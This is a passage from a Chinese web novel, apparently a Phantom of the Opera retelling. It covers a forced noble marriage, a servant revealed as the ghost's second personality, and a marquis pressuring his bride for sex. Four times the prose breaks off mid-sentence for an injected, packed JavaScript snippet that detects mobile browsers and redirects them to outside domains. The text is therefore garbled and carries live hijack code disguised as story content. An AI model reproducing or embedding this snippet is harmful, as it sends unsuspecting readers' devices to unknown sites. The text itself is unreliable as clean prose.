“你恨我，对不对？” “怎么会。”莫琳看见她手里空了大半的酒杯，觉得这个女孩大概是醉了。 “你一定是恨我的。” 阿梅莉继续说： “可我又得到了什么呢？可笑吗，即使是他的亲生女儿，我也逃不过和你一样的命运。我们都不过是莱斯曼用来垫脚的石子而已。” “怎么？他又把你送了出去？” 莫琳摸到一点儿头绪，怪不得她今天表现得如此异样。 “你果然知道，”阿梅莉挤出一抹苦涩的笑，“是蒙特勒伊家的长子。原本我哥哥说，牺牲你就可以换来我幸福自由的后半生。可他错了。父亲怎么会甘心让莱斯曼家唯一的女儿失去交换的价值。” “ .....没记错的话，那是常待在国王身边的蒙特勒伊大侍从官？” “没错。” 莫琳沉思片刻，在这件事上，她和阿梅莉的思路显然有些不一样。她想的是，莫里斯竟然能将阿梅莉送到那么高的位置上去？大侍从官和国王的关系亲密，非一般属臣可比，他竟然有这种本事？ “怪不得，他的野心大得需要千百个你我来做铺垫 ......”莫琳说： “早和晚并没有区别。阿梅莉，你唯一的错是不该在今天才认识到你父亲是个怎样的人。” 其实莫琳并没有自己想象当中的那么恨阿梅莉，尤其是在今天见到她之后。 每个人都习惯将自己摆在最重要的位置考虑，这是人之常情，也是天性。她是这样，阿梅莉是这样，莫里斯也是这样，谁站在最上面，下面的人就会因他/她的受益而付出相应的代价。 只不过她们从没想过自己的每个决定后需要牺牲什么。 “是啊，这太迟了。”阿梅莉说。 “也许我对你说这些也太迟了。但我依然想告诉你，警惕莱斯曼，不然罗什舒亚尔府邸就会是你的埋骨之地。” 说完，她自顾自地喝完了一整杯酒，把空杯子留在了桌上。 莫琳注视着她离去的背影，突然扯掉了那层累赘的头纱，转身就朝廊外走。 “夫人，您要去哪？！” “仪式还没有结束，您还不能回去！” 身后响起侍女们此起彼伏的惊呼声。 “我要用事务椅（Chaise d’affaires），这总不用被跟着吧？”莫琳随口找了个借口搪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057072|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞过去，“你们去盥洗室外面等我”。 阿梅莉的话带来的冲击太大，她迫切地想要找一个能够独处的地方透透气。 罗什舒亚尔和莱斯曼家都是相似的牢笼，四周看似开阔，实则密不透风。就和刚才盖在她脑袋上的那层头纱一样，在无声无息中令人喘不过气来。 莱斯曼打算杀了她？ 这句话里同时存在两个巨大的信息点和疑问。 第一，阿梅莉所指的莱斯曼到底是德·莱斯曼家族，还是莫里斯·德·莱斯曼？ 第二，为什么莱斯曼会对她产生杀意？ 这里的盥洗室位于镜廊的最末端。 由于婚礼的原因，长廊上空无一人，只有镜中的无数个莫琳陪着她。 直到走到第三十二块砖的时候，镜子里出现了另一个熟悉的身影。 “奥斯顿？！”莫琳被他的突然出现吓得后退了两步。 这家伙翻墙的本领大概要令整个巴黎的小偷都望尘莫及，从晚宴到婚礼，他都能够悄无声息地出现在她面前，罗什舒亚尔家的侍卫在他面前简直形同虚设。 “你不是在休假吗？” 莫琳记得上一次和老沃特提起奥斯顿的时候，他说对方因家中的事请了长假。 奥斯顿却没有理会她的问题。他快步上前，牢牢握住了她的手，像是终于不可忍受自己与她相隔的距离如此遥远。 “是谁逼您这么做？莫里斯，对不对？！” 他丝毫没有从前那个温和内敛的年轻人的影子了，此刻的奥斯顿像是一头失控的野兽。 他的力道太大，让莫琳觉得自己的骨头都快被捏碎了。 “你冷静点，先放开我！” “他怎么敢将您困在这里？！”奥斯顿没有理会她的挣扎，拉着莫琳往另一边走：“我这就带您离开这鬼地方！” “你要干什么？！我命令你放开我！” 即便莫琳努力挣扎，她的力量始终无法与奥斯顿抗衡。手背上的温度几乎要将她灼伤，她挣脱不开，情急之下只能咬了上去。 莫琳下嘴一点儿也没留情，铁锈味很快在唇舌之间弥漫开来。 她抬头的时候，看见对方的手背上留下了两个血淋淋的牙印。可奥斯顿仍然没有放开手。 “你发什么疯？！” 莫琳此时已经有些恼了，她对于奥斯顿在做什么一点儿头绪也没有。 他说他要带她走？为什么？这地方虽然是个笼子，但却是黄金做的。即使她要走，那也是在将这些金子都撬完之后的事情。 “我说我不走，这是我的婚礼！” “您不是自愿的对不对？只要您说一句好，我立刻就带您出去。” “剧院的马车就停在洗衣房后巷，后座有夹层，足以让您藏身。门口没几个人看守，我完全能对付得过来，”奥斯顿将莫琳的手握得更紧了一些，紧到能感受到她腕间的血管正贴着他的骨骼突突跳动，“就让我带您走吧？好不好？” 他几乎是在祈求她，语调里带着不自觉的哭腔。 奥斯顿的姿态过于谦卑，莫琳相信，如果她迟迟不答应，这个年轻人就会抛弃所有的自尊跪在她面前祈求她。 她心软了一些，说：“没有谁逼迫我，我是自愿的”。 31.灵魂 就在她说完这句话的一瞬间，她看到这个年轻人的眼神熄灭了。 “您是自愿的......”他低下头，自言自语地说。 “可即使....即使您成为了罗什舒亚尔的主人，您也还是歌剧院的经理，您为什么不带我一起走呢？”奥斯顿竭力说服自己接受莫琳的话，转而问了另一个问题。 “我是您的侍卫，我应该待在您身边 .....” “我现在不需要侍卫了，”莫琳摸了摸他冰凉的脸，她记得以前家中的猎犬总喜欢她这样的抚摸，并能因此而镇定下来。她有种直觉，这招也能在奥斯顿的身上奏效。 “那张协议作废，你想回歌剧院也好，另寻出路也好，我都同意。” “您不需要？”奥斯顿重复了一遍，“您不再需要我了吗？” 果然，这回他放开了手。 莫琳有些于心不忍，解释道： “侯爵不会允许一个男性侍卫待在我身边。这里和歌剧院不一样，我有足够的仆从和侍卫，也不存在什么人身危险，你可以放心地回去。” “可我只想留在您的身边 ......” “是因为我没有处理好那个幽灵的事情对吗？还有那几个偷偷盗取金子的工人......我这就把他们绑来您面前！黑湖，如果您需要的话，我可以再去一趟那地方。” “我什么都愿意为您做，只要您能把我留在身边，”奥斯顿坚持，“我可以去做园丁，马夫，或者去势男仆。” “你在说什么......？” 莫琳被他的语出惊人呛了一口气。 他知道他在说什么吗？去势男仆？ 这个词可不常见。即使是在控制欲极强的罗什舒亚尔府邸里，也没有哪位男性侍从是经历过这种酷刑的。她唯一听说过的一次还是在从前的罗马教堂里 ——人们为了让歌唱家同时拥有男性的肺活量和女性嗓音想出了这个残忍的办法。 她不知道克罗宁是从哪里听来这个办法的，那时候的境况也与他现在没有任何相似之处。他只是为了来做她的男仆而已，不至于要作出这么大的牺牲。 即使克罗宁家有三个孩子，不缺他一个繁衍后代，可这还同时意味着他终身失去性别特征，被鄙夷的眼光所看待。 任何一个正常人，即使是没有上过一天学的贫民，都不会这么做。 “克罗宁，你到底欠我什么？”莫琳问，“如果我没有救过你的命，到底是什么值得你做出这种决定？” 这个问题她已经想问很久了。 从奥斯顿签下那个不平等协议开始，她就一直怀疑他究竟是为了什么。现在这个怀疑加剧了，除非救命之恩，否则他所做的一切牺牲都十分令人生疑。 “我向上帝起过誓，”奥斯顿的脸色愈加苍白了，可他的语气却是那样坚定：“奥斯顿·克罗宁将永远以您的意志为优先，承诺用生命替您追寻到一切可能的理想。” “你如果不能解释清楚这一切背后的原因与动机，我是不会将你留在身边的。” 莫琳的审视几乎将他剥成一个赤裸裸的人，奥斯顿觉得自己又回到了八岁的夏天。 “我....” 他不想重述往事，更不想拿小时候的事情去捆绑恩情。 一旦莫琳知道了，他们之间就彻底确定了报恩者与恩人的身份，这种关系将会日益固化，不会再有别的可能。 他可以想像，莫琳知道后一定会当着他的面撕碎那纸契约，她还会说“我们之间是公平的交换，你不用为了偿还我而做我的仆人”。 那么她再也不可能牵着他的手跳舞了。 现在就很好，能让他待在她身边默默替她做事就很好。可偏偏她选择了嫁入罗什舒亚尔家，这让他藏在暗处的心思无处遁形。 奥斯顿有一瞬间对罗什舒亚尔侯爵动了杀心。 如果他死了就好了。 那么莫琳就会成为富有的寡妇。 她不必再担心赞助人的问题，他也可以顺理成章地继续待在她身边了。 可他做不到。 即使他有能力在重重护卫下杀了一个侯爵，他也立刻会被捕入狱，更糟糕的是，他无法在莫琳面前解释清楚自己那么做的原因。 和现在所面临的困境一样。 奥斯顿没有再说话。 “看来你不想说，”莫琳说：“我不会逼迫你，但你得乖乖回歌剧院去。” “别再惹麻烦，干翻墙这种蠢事了，下次可不一定会再有这么好的运气。如果被这里的人抓到，我不会费功夫去捞你出来。” 莫琳拍了拍他的脸，一段时间没见，这家伙瘦得连下颚都变成了直线。 她没注意到，此刻镜廊中映出的不仅仅是她和奥斯顿的脸，还有一角瓷白色的面具。 但奥斯顿看到了。 他没有作声，眼神却难得地避开了莫琳，像是盯猎物那样牢牢锁定了镜中的影子。 “您先走吧，”奥斯顿说：“向您保证，您担心的事情不会发生。” 他能够分辨出对方的敌意不浓，而更像是守在空隙处静观其变的意思。 他知道那角面具是冲他来的。 但他搞错了一点，猎物不是对方，而是他自己。 莫琳进入盥洗室后，埃里克从角落里走了出来。 “真是有趣，”他绕着奥斯顿走了一圈，像是打算将他整个人剖开看个明白，不然他真是无法理解他为什么像个奴隶似的在莫琳面前卑躬屈膝，“你喜欢这个莱斯曼？” “我听不懂你在说什么！” 奥斯顿的警惕心一下子被拉到了最高阀值。 “你是什么人？为什么在这里？！” 他的左手已经摸上了背后藏着的短刀。 “你能在这里，我为什么不能？” 埃里克悠闲地环抱着双臂，看着眼前这个年轻而稚气的灵魂：“你真的不知道我是谁吗？” 见他依旧警惕，埃里克叹了口气。 “你不认识我，可我却对你是谁了如指掌。” “奥斯顿·克罗宁，住在圣马赛的克罗宁。” “八岁那年，你去找在面包房工作的莉亚师傅，被误认为小偷赶了出来，是当时的坎贝尔帮了你。回去的路上，你父亲病情恶化，家里没有多余的钱去看诊，又是她给你的五十里弗尔救了命。自此，你将她记作恩人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061772|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “知道这些又怎样？” 奥斯顿笑了，他原以为对方的目标会是莫琳，现在看来却是自己，那可就好办多了：“我只是一个穷人的儿子，歌剧院最底层的工人，你想从我这里得到什么呢？” 除了一条命以外，他身上压根没什么值钱的东西。 “既然这样......那么我接下来所说的大概也没什么用了。” 埃里克继续说： “通往黑湖的路你原来就认识，如果不是你主动引导费奇拿开那块特定的砖，就不会让你的女经理身处险境；歌剧院墙壁里的金子也根本不是什么幽灵的诡计，而是你奥斯顿的杰作。为了让她信任你，把你当作心腹对待，你必须编造一个让她相信你有价值的故事......” 奥斯顿的脸色逐渐阴沉了下来。 埃里克：“你说，假设莱斯曼知道了，你应该怎么办？” “别说了！” 他怎么会知道这些？！ 克罗宁家任何一个人都不知道的秘密，这个面具为什么会知道？！ 有时候他在莫琳面前表现得过于真心实意，差点都要说服他自己。连他自己也忘了究竟有那些部分是真实的，哪些部分是虚假的。 这人竟然比他自己看得更清楚！ 绝不能留下他。 “被人这么戳破秘密的滋味不好受，”埃里克的嘴角扯出一个扭曲的笑容： “我能理解。你现在想要杀死我的心情一定迫切极了，但你又偏偏杀不死我。” 这样的讥讽和嘲弄彻底激怒了奥斯顿，他从背后抽出短刀，使出全力朝面前的黑影刺了过去。 ——“咔嚓”。 刀下传来清脆且短促的碎裂声。 紧接着，无数碎屑伴随着大小不一的块状物掉了下来，那个黑影也成了破碎的。 奥斯顿刺中的是一面镜子。 “你还没有意识到我是谁吗？” 远处传来模糊的声音。 白色面具消失了，那个男人不知道站在哪里。奥斯顿此时只觉得一阵晕眩。 他从来没有过这样奇异的感受： ——他无法辨别方位，无法厘清事实，世上所存在的一切物质都是混沌不清的，就好像他变回了初生的婴儿。 他忽然想起来，在记忆的最深处，这角白色面具曾经出现过。 可无论他怎么努力，对方的面容都是模糊的，他想不起来他是谁。 “既然这样......”埃里克的手停留在面具上，“不如你先来看看我的样子吧？” 和面对莫琳时不一样，埃里克此刻手下的动作没有再带着任何迟疑。他逼近这个年轻人，快速摘下面具，把自己的脸完完全全地暴露在对方眼前。 “你喜欢这张脸吗？”埃里克问。 这张荒诞，崎岖，带来无尽恐惧的面孔。如果我要把它给你，你会喜欢吗？ “你究竟是什么人？”，奥斯顿急促地呼吸着。 被一双燃烧着地狱之火的瞳孔凝视着并不好受，他直觉得自己的浑身都在发烫，周围旺盛的火焰不停与他抢占着生存的氧气，以至于他必须竭力将自己托至海面。 32.双重人格 “你当然会喜欢，你必须喜欢。” “因为我就是你。” 镜中的埃里克不知道在什么时候和奥斯顿调换了位置。 黑影消失了。奥斯顿被一只无形的手掰着脑袋，以一个及其扭曲的姿势看着镜中熟悉又陌生的面孔，感到一阵无由的恐慌。 他被镜廊中的许多个自己所环绕着。这许多个自己都同时张着嘴，像是在对他发出无声的质问。 他们在问：“你为什么不记得你自己了？” 埃里克：“看来这张面具你戴了太久，已经忘了自己。但是没关系，由我来帮你记起来。” 他手下用力，硬生生砸在了奥斯顿的脸上。 ——男人半边面孔竟然真的随着他的动作而破碎了，就好像他是个石塑泥人一样脆弱。 这不会是奥斯顿·克罗宁。 任何一个认识奥斯顿的人都不会相信，他居然会任凭对方欺凌而不反抗。 他的父亲是一位上过战场的士兵，他是克罗宁家唯一同时继承父亲武力和智谋的儿子，他理应掰断对方触碰过他的手臂，用短刀刺穿他的心脏，然后将他的牙齿一颗颗拔落，使他再也不可能有机会告诉莫琳自己的秘密。 可不知道为什么，此刻他却连一根手指也抬不起来了。 “啊！” 奥斯顿痛苦地捂住自己的脸。 他不敢睁开眼睛，更不敢面对镜中人。 他怕那个魔鬼一语成谶。 他的手能够触碰到自己的面孔，但他却不得不将所有的触感都屏蔽起来。 他清楚地知道自己没有流血，也没有因巨大的冲击力而造成眼眶和鼻梁骨折，而这才是他最害怕的。那些才是正常人在受伤后的反应，可却没有发生在他身上。 即使存在短暂的自我防护机制，但人无法永久地自我放弃所有感官。他的视野里一片黑暗，可手指上的每根神经都在朝他喋喋不休地诉说身体的变化。 没过多久，奥斯顿就惊恐地意识到，他的眼眶变得深陷，颧骨面颊处原本饱满的脂肪消失了，下颚和嘴唇贴在一起，甚至能透过那层薄薄的筋骨摸到牙齿。 这怎么可能是他？！ 奥斯顿迫不及待地睁开眼睛，看到自己的镜像和那个魔鬼完美地重叠为一体。 ——“我就是你，剧院幽灵的另一个名字叫做奥斯顿·克罗宁。” “怎么可能？！” 奥斯顿失去力气，踉跄着跌坐在长廊中央。 他知道眼前人说得很有可能是真的，可他怎么也无法接受这个事实。 如果他说的是实话，那么就证明是他把莫琳带进危险的漩涡里，是他喂她毒药，逼迫她为自己所用，也是他用墙壁里的金子掌控了歌剧院里的谣言。可奥斯顿怎么可能会舍得伤害她？ 等等，他怎么会知道那个幽灵对莫琳做了什么？！他不应该知道这些的。 “很好奇对吗？”埃里克眯着眼，满意地看向镜中，那里有两个重合的虚影逐渐交融在一起，“可怜的孩子，你是不是很想知道发生了什么？只要答应我一个简单的条件，我就会将一切都告诉你。” “什么条件？”奥斯顿听见自己的声音在颤抖。 “很简单。” “我想要你的身份，你的灵魂，你的一切。我想要成为真正的人。” “你......！” “别着急拒绝，这对你来说不是什么难事。” 埃里克掐断了他的话头，说：“你应该察觉到，自从十岁那场大病后，你对自己身体的掌控力就越来越低了。你时常忘记过去发生了什么，对于自己做过的事毫无察觉，有时候甚至不知道为什么会出现在一个从未踏足过的地方。” “那是因为我逐渐掌控了你。” “原来的我只是一个副人格，屈居于主人格之下，属于我的时间往往是入夜以后。我曾经以为我只能这么苟延残喘地度过我的人生，但我没想到，上帝竟然会怜悯我，赐予我一个这样一个绝佳的机会。” “你记忆中的疾病并不是真实的。你没有经历什么病痛，而是遭遇了一场谋杀。” 奥斯顿觉得自己大概是在做梦。 什么主人格副人格，他从没听说过这些东西。对方说的所有事情里，唯一能够支撑现实的就只有一句话——他的确在十岁的时候生了场大病。 母亲告诉他，有整整一周的时间他都高烧不退，几乎所有人都认为他挨不过这道坎，连棺材都为他打好了。 魔鬼为什么会说那是一场谋杀？ 他虽然记不清细节，但记得自己浑身滚烫的时刻。那时候周身似乎都被灼热的火焰久久包围着，只剩下他一个人躺在火焰的中心。他想逃出去，却怎么都找不到出口，醒来时只有母亲滴落在他脸上的冰凉的泪水。 “你记得高烧，记得窒息的痛苦，但你就是不记得那是场真正的火。” 这个年轻人显然在回忆中挣扎着分辨现实和梦境，埃里克决定帮他一把。 他会告诉他什么是事实，什么是他构造出的幻想。 “你出生起就是家里最受宠的幼子，母亲舍不得吃的黑麦面包和被父亲推开的炖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065313|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜最终都成了你的腹中食。因为聪明伶俐，他们对你寄予厚望，甚至还想方设法寻求门路送你去慈善学校读了几年书。” “而你的哥哥们却远没有这样的待遇，尤其是你的二哥皮埃尔。” “他从懂事起就被迫去街上卖报擦鞋来贴补家用，八岁之后进了家附近的铁匠铺做学徒，每天遭受着辱骂和鞭打。和你相比起来，他的人生只能用悲惨来形容。他无法将仇恨发泄在父母的身上，他认为这一切都是你所造成的，所以他选择碰倒你房间的煤油灯，希望能在你死去后代替你。” “你并没有死在那场大火里。” “但皮埃尔的愿望却实现了。你被救出来的时候面目全非——大火使你半张脸毁容，从此除了母亲以外，没有人再愿意直视你的面孔。从前喜爱你的邻居们对你避讳莫深，还有人说你是给家庭带来厄运的灾星。大多数时候，你都不得不蒙着脸出门。” “巨大的打击使你无法短时间内接受事实，于是选择逃避现实世界，虚构了一个生病的谎言来说服自己这一切的变化。你学会了易容，为自己捏造了一张全新的脸，而由于那场大火被击溃的心理，我出现的时间逐渐增多，力量日渐变强，直到现在，直到我不用再屈居于你。” “奥斯顿·克罗宁，现在是你放弃的时候了。” “我们本就是同一个人，如果你答应，我就能让你永远地待在莱斯曼的身边。” 无数的记忆碎片如同海潮一般席卷着扎入奥斯顿的脑骨， 顷刻间，虚假的回忆通通消散了，留下一个不堪回首的过往。他这么努力遗忘，这么努力为自己人生织造的美梦，就这么被面前的魔鬼所毁去了。 “只要你不出现，我还可以过回原来的生活！” 假如目光有形，那么埃里克早已被奥斯顿凌迟了。 “很可惜，这次选择权不在你的手上。” 埃里克垂眼看向这副脆弱不堪的躯壳。 他连手都没有抬，对方就已经轻飘飘地倒地了。 ——他接受了过量的信息，一时间精神上无法承受所以昏迷了过去。 老实说，他时常因自己的主人格拥有如此虚弱的精神力而感到讽刺。 不过也幸亏了他。 如果不是奥斯顿足够孱弱，他也不会有机会取而代之。 而现在，他终于可以放开手脚，以一个“人”的身份光明正大地出现了。 他很好奇，如果那个女人知道了她时时带在身边，甚至想要借他之手杀了剧院幽灵的年轻人和他是同一个人，她会有什么反应？ 33.义务 婚礼已经过去了三天。 这几日莫琳过得很平静。 这还要感谢莫里斯，她亲爱的舅舅在宴席上陪着罗什舒亚尔侯爵喝了不少酒，以至于他孱弱的身体迟迟没有从酒精中恢复过来。 次日的医生更是符合莫琳的心意。他直白了当地告知了侯爵这两日必须静养休息，严禁行房的医嘱，因此这几日他并没有和她共寝，而是早早被送回单独的房间休息。 不过今天却有些不一样。 在莫琳打算照常锁起房门休息的时候，贴身女仆阻止了她的动作。 “恐怕您得稍等一等先生，他正在隔间沐浴。” “什么？”莫琳回过头：“先生不是住在另一间房吗？” “亲爱的夫人，您恐怕忘了，这里的每一间房都属于我。” 回答她的不是侍女，而是披着浴袍正朝她走来的罗什舒亚尔侯爵。 他挥挥手屏退了其余等候侍奉的仆人们，裸露在浴袍之外的皮肤松弛且苍老，像片干枯的苔藓。 莫琳简直无法想象这胳膊落在自己脊背上会是怎样的触感。 她屏息劝自己不要多想，说不定对方并不是来做她所想的事的。毕竟他那么老了，不一定还有余力付诸在一个二十几岁，能当他女儿的妻子身上。 可罗什舒亚尔侯爵的话很快打破了她的幻想。 “我怎么舍得让美人久等？” 他拉开了莫琳胸衣背后的系带，呼吸间带着浓重且熏人的烟草味， 那种感觉又回来了。 就是在歌剧院的走廊上，被粘稠目光所缠绕的滋味。 莫琳觉得恶心极了。她飞快地侧过身，捂住自己即将要脱落的胸衣，往后退了两步，和对方拉开安全距离。 莫琳：“等等！我还没有同意。” “我可管不了什么同意不同意的，”男人笑眯眯地说，像一条正朝着她吐信子的蛇：“你是我的妻子，你有义务这么做。” “你以为我不知道吗？原先的联姻对象轮不到你的头上，是那个愚蠢的小姐自作聪明地将包厢票送上了门，还利用报纸公告，这才调换了人。” “如果你不能履行你做妻子的义务，我随时能从歌剧院里撤资，你想看到这样的结果吗？” 莫琳眉头紧锁，说不出一个字。 她知道这一天迟早要来，但没想到这么早，她还没为此做好准备。 “里弗尔和贞洁不能兼得，这么简单的道理，莱斯曼没有教给你吗？” 罗什舒亚尔没有因她的抗拒而有所动摇。他见多了这种情形，认为那不过都是虚伪的挣扎，这些女人最后还不都是匍匐在他的脚下吗？ 这么想着，他逼近莫琳，重新将她胸衣的系带攥回到手里。 莫琳的大脑飞速运转着，她必须尽快想出一个合理的办法来拒绝他。 “我不太舒服！”就在罗什舒亚尔打算再次贴近她脖颈的时候，莫琳脱口而出：“今天是‘规则日’” 拙劣的借口，但很有效。 意料之中的，罗什舒亚尔侯爵立刻缩回了手，并露出鄙夷的神情。大多数贵族都认为规则日的女性不够圣洁，避免与她们接触，他也是其中之一。 “杜布瓦！”他一边高声叫女仆的名字，一边往门外走：“这几日为夫人的坐浴水里多添些香料，我不想闻到什么奇怪的味道。” 他揉了揉鼻子，好像已经察觉到什么异味似的。 “一星期后我再来看你。” 走之前，罗什舒亚尔对着莫琳抛下这么一句。 他的意思是，这个借口的有效期只有短短七天。 正当莫琳思忖该如何寻找下一个借口时，她的贴身侍女担忧地开口： “夫人，您没有在‘规则日’，对吗？” 从莫琳住进罗什舒亚尔府邸以后，她的起居都由她照看，她怎么会不知道她的身体是不是真的存在特殊情况。 “既然你刚才没有拆穿我，”莫琳说：“那么现在也不必说出来了。” “可您不能一直这样！” 这位叫杜布瓦的侍女着急地说：“侯爵很容易对女人感到厌弃，即使您已经成为了他的妻子。如果不抓紧时间完成生育的话，您将来几乎一分钱也拿不着！” “如果你了解我，你应该知道我不用靠着侯爵的遗产生活。” 莫琳淡淡地说。 不知道为什么，自从婚礼以后，所有人都将繁衍后代这件事看成了她眼下的头等大事。 侯爵是这样，连她的侍女也是这样。 “是，大家都知道您有一座歌剧院。可是恕我冒昧，那歌剧院能挣什么钱？自从上次在演员中出了个枪手，没人敢再去您的歌剧院了，休业整顿的牌子挂了大半个月，您还真认为能靠着它生活吗？” “您嫁到这里来，不就是以挽救那座歌剧院作为代价的吗？” 这话一点儿也挑不出问题来。 她大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079490|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是对莫琳，已经整个莱斯曼家都做过了解的，对她的背景十分清楚。 怪不得罗什舒亚尔侯爵将她指派给自己作为贴身侍女。 “行了，我完全找不出反驳你的话来，”莫琳最后说：“我会仔细考虑这件事的。” 即使她不说她也会仔细考虑的。 而现在她不仅需要谨慎地考虑，更要抓紧时间快速考虑！ 但她要考虑的可不是什么妻子的义务和责任这种鬼东西。 她要考虑的是，连罗什舒亚尔家的侍女都能对歌剧院的境况了解得如此清楚，外面传的消息只会更糟糕。她必须赶紧行动，在最短的时间内将新剧目搬上舞台。 不然的话，恐怕等不到皇室成员的莅临，观众就会彻底对他们丧失信心，再也不回来了！ 莫琳不知道的是，在走出卧室后，罗什舒亚尔立刻召来了自己最亲近的侍卫官。 “最近她都在忙些什么？” 他注意到，最近侍女们常常在前厅和卧室间走动，不断有不属于他的报纸和信件寄达，那本不该是女人们所忙于处理的。 “似乎是歌剧院筹备新剧目的事，那边每天都会寄来新的信件。” “这些可有可无的东西。” 侯爵发出一声嗤笑，问：“你真觉得女人能运营好一家歌剧院吗？我从没听说过这种事。” “从今天起，所有信件都誊抄过送到我这里，”他吩咐道：“另外，找些人去歌剧院门口闹事，就装作是之前枪杀案里受到波及的民众索要赔偿。让他们在门口说些难听的话，闹得越大越好。” “明白。誊抄后要将所有信件都拦截下吗？” “不用做到这一步。” “她越心焦才会更容易弄明白什么才是真正重要的。” 罗什舒亚尔侯爵并不是能被轻易糊弄过去的人。 就和杜布瓦所说一样。 即使莫琳已经成为了他的妻子，可与他而言也只是个年轻貌美的新鲜玩意儿。 即使她富有才貌，年纪轻轻就有掌管歌剧院的本事，但假使她迟迟无法顺从他的心意，那么他随时能够将她丢弃在一旁。 什么歌剧院赞助，什么和莱斯曼家的合作，都会灰飞烟灭的。 最糟糕的，不过就是传出他可怜的第二任妻子过世的丧讯。 而到了那个时候，他也许会拥有更有权势的合作伙伴，也会有更貌美的‘德·莱斯曼’继续成为罗什舒亚尔夫人。 34.笼中鸟 虽然莫琳人不在歌剧院，但歌剧院里所发生的一切都逃不过她的眼睛。 信件像雪花一样飞进罗什舒亚尔府邸。她很快得知，《塔拉勒》的修订完成了。 收到信的第二天，侍女禀报有一位自称是她副手的小姐等在外面。 莫琳不用猜就知道那是梅格。 在婚礼之前，她们之间就做过约定——不管平日里莫琳是否有机会亲自到歌剧院视察，每逢星期末，梅格都会按时带上最新的剧目进展和财务清单来面见她。 她迫切地想要得知关于歌剧院的所有，连更换衣着的时间也不想浪费，于是干脆让侍女将她带入了自己的房间。 梅格进来时，莫琳还穿着晨袍。 由于在场的都是女性，大部分还都是罗什舒亚尔家的私人仆从，侍女们也没有刻意为了一位副手小姐的到来而提醒女主人的穿着。以至于在见到梅格时，莫琳的领口还半敞着，露出大片雪白的肌肤。 这对于女性之间来说本没有什么问题，可梅格的眼神却不自觉地闪躲了一下。她侧过头，主动避开了直视莫琳的机会。 “坐吧。” 莫琳对着镜子调整了一下衣领，背对着梅格说。 她刚才在吩咐侍女给自己的肩膀涂抹药膏。前几日的聚会沙龙过于频繁，那些礼服纵然精致华美，但为了凸显出她的身材，裁缝们连一点儿放量也不肯多做，窄小的领口勒得她喘不过气来。 小会客厅和卧房连在一起，暖香传到这里的时候已经淡了不少，但还是有些熏人。 梅格喘了口气，躬身递上早已准备好的记录本。 依照莫琳所言，她把歌剧院发生的所有都事无巨细地记录在了这本本子上。 莫琳翻得很仔细，每页都没有遗漏，直到看到末尾的那个数字。她顿了一顿，然后用指甲在数字下边划下一道浅浅的凹痕。 梅格看出她的表情不太好，解释道： “支出主要都花费在后台。上次那个枪手把舞台弄得一团糟，第三幕布景需要重新做，木匠说有批材料需要等南锡的工厂寄来，最早也要下周才能完工。还有......” “还有什么？” “芭蕾舞团抗议排练时间太久，需要更多时间休息，毕竟最近我们没有在对外开放。” 莫琳不耐烦地打断她： “有什么好消息吗？” 她早该知道休整期间的后台是不会太平的，尤其是在她不在的日子里。 “好消息是，新的女首席刚刚到巴黎，明天就会正式参与《塔拉勒》的排练。” 听到有关新剧目的进展，莫琳紧绷的嘴角终于放松了一些。 这位新首席是她花了大价钱挖来的，正是为了新剧目的上演。 等到她能正式代替克莉丝汀的位置，而莫里斯又搞定了王室成员出席的事，她的歌剧院才能真正地从阴影底下走出来。 “休整期间的支出太多了，回去和老沃特商量商量，看有什么地方是可以缩减的。” “芭蕾舞团的事情我相信你自己能解决。包厢空着就空着吧，刚好，让他们这两天腾出手来重新布置二号和四号，和原来的王室包厢统一规格，”莫琳合上账本，目光落在梅格身上： “还有，让那个新来的女高音明天来这里见我，就说我要亲自试听她的演出。” “夫人 ...您明日还与拉图尔夫人有约。” 一旁的侍女委婉地提醒道：“侯爵不希望您 ....带太多外边的人进来，让您的女高音在这里试唱似乎不太合适。” “没记错的话，你甚至不是夫人的贴身女仆，”还没等莫琳开口，梅格率先将她的话堵了回去：“原来罗什舒亚尔家的仆人竟能越俎代庖，有那么大的胆子左右侯爵夫人的决定。” 